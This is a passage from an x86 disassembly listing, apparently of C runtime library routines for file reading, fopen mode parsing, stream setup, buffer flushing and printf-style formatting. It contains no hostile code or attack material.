		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41F2F9
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41F1D1
		test	dl, 2
		jnz	short loc_41F1D1
		test	dl, 48h
		jz	short loc_41F191
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41F191
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41F191:				; CODE XREF: sub_41F11C+56j
					; sub_41F11C+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jnz	short loc_41F1E4
		nop
		call	near ptr 2670E94h
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41F1CC
		mov	dword_4DB928, 9
		mov	dword_4DB92C, ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------


loc_41F1CC:				; CODE XREF: sub_41F11C+99j
		cmp	eax, 6Dh
		jnz	short loc_41F1D8


loc_41F1D1:				; CODE XREF: sub_41F11C+4Cj
					; sub_41F11C+51j
		xor	eax, eax
		jmp	loc_41F30D
; ---------------------------------------------------------------------------


loc_41F1D8:				; CODE XREF: sub_41F11C+B3j
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------


loc_41F1E4:				; CODE XREF: sub_41F11C+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41F2F4
		test	edx, edx
		jz	short loc_41F209
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41F209
		or	al, 4
		jmp	short loc_41F20B
; ---------------------------------------------------------------------------


loc_41F209:				; CODE XREF: sub_41F11C+E2j
					; sub_41F11C+E7j
		and	al, 0FBh


loc_41F20B:				; CODE XREF: sub_41F11C+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41F2EE


loc_41F223:				; CODE XREF: sub_41F11C+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41F2DE
		cmp	al, 0Dh
		jz	short loc_41F23F
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F23F:				; CODE XREF: sub_41F11C+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41F25D
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41F254
		add	[ebp+arg_8], 2
		jmp	short loc_41F2B2
; ---------------------------------------------------------------------------


loc_41F254:				; CODE XREF: sub_41F11C+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F25D:				; CODE XREF: sub_41F11C+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jnz	short loc_41F285
		nop
		call	near ptr 2670E94h
		test	eax, eax
		jnz	short loc_41F2CC


loc_41F285:				; CODE XREF: sub_41F11C+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41F2CC
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41F2A7
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41F2B2
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F2A7:				; CODE XREF: sub_41F11C+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41F2B7
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41F2B7


loc_41F2B2:				; CODE XREF: sub_41F11C+136j
					; sub_41F11C+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41F2CF
; ---------------------------------------------------------------------------


loc_41F2B7:				; CODE XREF: sub_41F11C+18Ej
					; sub_41F11C+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_42272B
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41F2D0


loc_41F2CC:				; CODE XREF: sub_41F11C+167j
					; sub_41F11C+16Dj
		mov	byte ptr [edi],	0Dh


loc_41F2CF:				; CODE XREF: sub_41F11C+199j
		inc	edi


loc_41F2D0:				; CODE XREF: sub_41F11C+11Ej
					; sub_41F11C+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41F223
		jmp	short loc_41F2EE
; ---------------------------------------------------------------------------


loc_41F2DE:				; CODE XREF: sub_41F11C+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41F2EE
		or	al, 2
		mov	[esi], al


loc_41F2EE:				; CODE XREF: sub_41F11C+101j
					; sub_41F11C+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41F2F4:				; CODE XREF: sub_41F11C+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41F30D
; ---------------------------------------------------------------------------


loc_41F2F9:				; CODE XREF: sub_41F11C+12j
					; sub_41F11C+39j
		and	dword_4DB92C, 0
		mov	dword_4DB928, 9


loc_41F30A:				; CODE XREF: sub_41F11C+ABj
					; sub_41F11C+C3j
		or	eax, 0FFFFFFFFh


loc_41F30D:				; CODE XREF: sub_41F11C+B7j
					; sub_41F11C+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F11C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F312	proc near		; CODE XREF: sub_41B202+126p
					; sub_41B202+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DB9A8
		test	eax, eax
		jz	short loc_41F32A
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41F32A
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41F32A:				; CODE XREF: sub_41F312+7j
					; sub_41F312+12j
		xor	eax, eax
		retn
sub_41F312	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F32D	proc near		; CODE XREF: sub_41B4A2+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DBB14
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41F366
		cmp	al, 72h
		jz	short loc_41F35F
		cmp	al, 77h
		jnz	loc_41F47A
		mov	ecx, 301h
		jmp	short loc_41F36B
; ---------------------------------------------------------------------------


loc_41F35F:				; CODE XREF: sub_41F32D+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41F36E
; ---------------------------------------------------------------------------


loc_41F366:				; CODE XREF: sub_41F32D+1Dj
		mov	ecx, 109h


loc_41F36B:				; CODE XREF: sub_41F32D+30j
		or	esi, 2


loc_41F36E:				; CODE XREF: sub_41F32D+37j
		push	1
		pop	edx


loc_41F371:				; CODE XREF: sub_41F32D+8Bj
					; sub_41F32D+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41F460
		cmp	edx, ebx
		jz	loc_41F460
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41F3FF
		jz	short loc_41F3EF
		sub	eax, 2Bh
		jz	short loc_41F3D9
		sub	eax, 19h
		jz	short loc_41F3CF
		sub	eax, 0Eh
		jz	short loc_41F3BA
		dec	eax
		jnz	loc_41F451
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3BA:				; CODE XREF: sub_41F32D+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3CF:				; CODE XREF: sub_41F32D+6Aj
		test	cl, 40h
		jnz	short loc_41F451
		or	ecx, 40h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3D9:				; CODE XREF: sub_41F32D+65j
		test	cl, 2
		jnz	short loc_41F451
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3EF:				; CODE XREF: sub_41F32D+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41F451
		or	ecx, eax
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F3FF:				; CODE XREF: sub_41F32D+5Ej
		sub	eax, 62h
		jz	short loc_41F44C
		dec	eax
		jz	short loc_41F435
		sub	eax, 0Bh
		jz	short loc_41F41E
		sub	eax, 6
		jnz	short loc_41F451
		test	ch, 0C0h
		jnz	short loc_41F451
		or	ch, 40h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F41E:				; CODE XREF: sub_41F32D+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F435:				; CODE XREF: sub_41F32D+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F44C:				; CODE XREF: sub_41F32D+D5j
		test	ch, 0C0h
		jz	short loc_41F458


loc_41F451:				; CODE XREF: sub_41F32D+72j
					; sub_41F32D+7Bj ...
		xor	edx, edx
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F458:				; CODE XREF: sub_41F32D+122j
		or	ch, 80h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F460:				; CODE XREF: sub_41F32D+4Aj
					; sub_41F32D+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_423A33
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41F47E


loc_41F47A:				; CODE XREF: sub_41F32D+25j
		xor	eax, eax
		jmp	short loc_41F498
; ---------------------------------------------------------------------------


loc_41F47E:				; CODE XREF: sub_41F32D+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DBB10
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41F498:				; CODE XREF: sub_41F32D+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F32D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F49D	proc near		; CODE XREF: sub_41B4A2p
		mov	edx, dword_4DCC60
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41F50E
		mov	ebx, dword_4DBC48
		mov	edi, ebx


loc_41F4B9:				; CODE XREF: sub_41F49D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41F4D4
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41F4CF
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41F4B9
		jmp	short loc_41F50E
; ---------------------------------------------------------------------------


loc_41F4CF:				; CODE XREF: sub_41F49D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41F4F8
; ---------------------------------------------------------------------------


loc_41F4D4:				; CODE XREF: sub_41F49D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41B4D5
		pop	ecx
		mov	ecx, dword_4DBC48
		mov	[edi+ecx], eax
		mov	eax, dword_4DBC48
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41F50E
		mov	esi, edi


loc_41F4F8:				; CODE XREF: sub_41F49D+35j
		cmp	esi, ebp
		jz	short loc_41F50E
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41F50E:				; CODE XREF: sub_41F49D+12j
					; sub_41F49D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F49D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F515	proc near		; CODE XREF: sub_41B6EE+17p
					; sub_41B6EE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41F533
		mov	ecx, off_43C9A8
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41F585
; ---------------------------------------------------------------------------


loc_41F533:				; CODE XREF: sub_41F515+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43C9A8
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41F558
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41F561
; ---------------------------------------------------------------------------


loc_41F558:				; CODE XREF: sub_41F515+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41F561:				; CODE XREF: sub_41F515+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_423CEC
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41F581
		leave
		retn
; ---------------------------------------------------------------------------


loc_41F581:				; CODE XREF: sub_41F515+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41F585:				; CODE XREF: sub_41F515+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41F515	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F58A	proc near		; CODE XREF: sub_41B886+46p
					; sub_41B980+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41F693
		test	al, 40h
		jnz	loc_41F693
		test	al, 1
		jz	short loc_41F5C2
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41F693
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41F5C2:				; CODE XREF: sub_41F58A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F5FC
		cmp	esi, offset dword_43D0B8
		jz	short loc_41F5EA
		cmp	esi, offset dword_43D0D8
		jnz	short loc_41F5F5


loc_41F5EA:				; CODE XREF: sub_41F58A+56j
		push	ebx
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jnz	short loc_41F5FC


loc_41F5F5:				; CODE XREF: sub_41F58A+5Ej
		push	esi
		call	sub_4239EF
		pop	ecx


loc_41F5FC:				; CODE XREF: sub_41F58A+4Ej
					; sub_41F58A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41F669
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41F62C
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41F65F
; ---------------------------------------------------------------------------


loc_41F62C:				; CODE XREF: sub_41F58A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41F647
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DCC80[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41F64C
; ---------------------------------------------------------------------------


loc_41F647:				; CODE XREF: sub_41F58A+A5j
		mov	eax, offset dword_43D000


loc_41F64C:				; CODE XREF: sub_41F58A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41F65F
		push	2
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch


loc_41F65F:				; CODE XREF: sub_41F58A+A0j
					; sub_41F58A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41F67D
; ---------------------------------------------------------------------------


loc_41F669:				; CODE XREF: sub_41F58A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41F67D:				; CODE XREF: sub_41F58A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41F689
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41F698
; ---------------------------------------------------------------------------


loc_41F689:				; CODE XREF: sub_41F58A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41F69B
; ---------------------------------------------------------------------------


loc_41F693:				; CODE XREF: sub_41F58A+10j
					; sub_41F58A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41F698:				; CODE XREF: sub_41F58A+FDj
		or	eax, 0FFFFFFFFh


loc_41F69B:				; CODE XREF: sub_41F58A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41F58A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F69F	proc near		; CODE XREF: sub_41B886+29p
					; sub_41B980+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41FDB8
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41F6D3
; ---------------------------------------------------------------------------


loc_41F6CB:				; CODE XREF: sub_41F69F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_41F6D3:				; CODE XREF: sub_41F69F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41FDB8
		cmp	bl, 20h
		jl	short loc_41F6F4
		cmp	bl, 78h
		jg	short loc_41F6F4
		movsx	eax, bl
		mov	al, [eax+42773Ch]
		and	eax, 0Fh
		jmp	short loc_41F6F6
; ---------------------------------------------------------------------------


loc_41F6F4:				; CODE XREF: sub_41F69F+40j
					; sub_41F69F+45j
		xor	eax, eax


loc_41F6F6:				; CODE XREF: sub_41F69F+53j
		movsx	eax, byte_42775C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41FDA7	; default
		jmp	off_41FDC0[eax*4] ; switch jump


loc_41F714:				; DATA XREF: ___:off_41FDC0o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F72F:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 2
		sub	eax, 20h
		jz	short loc_41F772
		sub	eax, 3
		jz	short loc_41F769
		sub	eax, 8
		jz	short loc_41F760
		dec	eax
		dec	eax
		jz	short loc_41F757
		sub	eax, 3
		jnz	loc_41FDA7	; default
		or	[ebp+var_4], 8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F757:				; CODE XREF: sub_41F69F+A4j
		or	[ebp+var_4], 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F760:				; CODE XREF: sub_41F69F+A0j
		or	[ebp+var_4], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F769:				; CODE XREF: sub_41F69F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F772:				; CODE XREF: sub_41F69F+96j
		or	[ebp+var_4], 2
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F77B:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 3
		jnz	short loc_41F7A3
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_4], 4
		neg	eax


loc_41F79B:				; CODE XREF: sub_41F69F+111j
		mov	[ebp+var_20], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7A3:				; CODE XREF: sub_41F69F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41F79B
; ---------------------------------------------------------------------------


loc_41F7B2:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	[ebp+var_10], edx ; jumptable 0041F70D case 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7BA:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 5
		jnz	short loc_41F7DD
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7DD:				; CODE XREF: sub_41F69F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7EF:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 49h		; jumptable 0041F70D case 6
		jz	short loc_41F822
		cmp	bl, 68h
		jz	short loc_41F819
		cmp	bl, 6Ch
		jz	short loc_41F810
		cmp	bl, 77h
		jnz	loc_41FDA7	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F810:				; CODE XREF: sub_41F69F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F819:				; CODE XREF: sub_41F69F+158j
		or	[ebp+var_4], 20h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F822:				; CODE XREF: sub_41F69F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_41F83B
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_41F83B
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F83B:				; CODE XREF: sub_41F69F+186j
					; sub_41F69F+18Cj
		mov	[ebp+var_30], edx


loc_41F83E:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	ecx, off_43C9A8	; jumptable 0041F70D case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41F86A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_41F86A:				; CODE XREF: sub_41F69F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F882:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 7
		cmp	eax, 67h
		jg	loc_41FAAA
		cmp	eax, 65h
		jge	loc_41F92D
		cmp	eax, 58h
		jg	loc_41F98B
		jz	loc_41FB1E
		sub	eax, 43h
		jz	loc_41F94E
		dec	eax
		dec	eax
		jz	short loc_41F923
		dec	eax
		dec	eax
		jz	short loc_41F923
		sub	eax, 0Ch
		jnz	loc_41FCA9
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F8CC
		or	byte ptr [ebp+var_4+1],	8


loc_41F8CC:				; CODE XREF: sub_41F69F+227j
					; sub_41F69F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41F8D9
		mov	esi, 7FFFFFFFh


loc_41F8D9:				; CODE XREF: sub_41F69F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41FAF2
		test	ecx, ecx
		jnz	short loc_41F901
		mov	ecx, off_43CBC4
		mov	[ebp+var_8], ecx


loc_41F901:				; CODE XREF: sub_41F69F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_41F90A:				; CODE XREF: sub_41F69F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41FAE9
		cmp	word ptr [eax],	0
		jz	loc_41FAE9
		inc	eax
		inc	eax
		jmp	short loc_41F90A
; ---------------------------------------------------------------------------


loc_41F923:				; CODE XREF: sub_41F69F+212j
					; sub_41F69F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_41F92D:				; CODE XREF: sub_41F69F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41FA11
		mov	[ebp+var_10], 6
		jmp	loc_41FA1F
; ---------------------------------------------------------------------------


loc_41F94E:				; CODE XREF: sub_41F69F+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F95A
		or	byte ptr [ebp+var_4+1],	8


loc_41F95A:				; CODE XREF: sub_41F69F+2B5j
					; sub_41F69F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41F9A1
		call	sub_41FE9B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_423E5B
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41F9B4
		mov	[ebp+var_28], 1
		jmp	short loc_41F9B4
; ---------------------------------------------------------------------------


loc_41F98B:				; CODE XREF: sub_41F69F+1FBj
		sub	eax, 5Ah
		jz	short loc_41F9C2
		sub	eax, 9
		jz	short loc_41F95A
		dec	eax
		jz	loc_41FB84
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9A1:				; CODE XREF: sub_41F69F+2C5j
		call	sub_41FE7E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_41F9B4:				; CODE XREF: sub_41F69F+2E1j
					; sub_41F69F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41FCA9
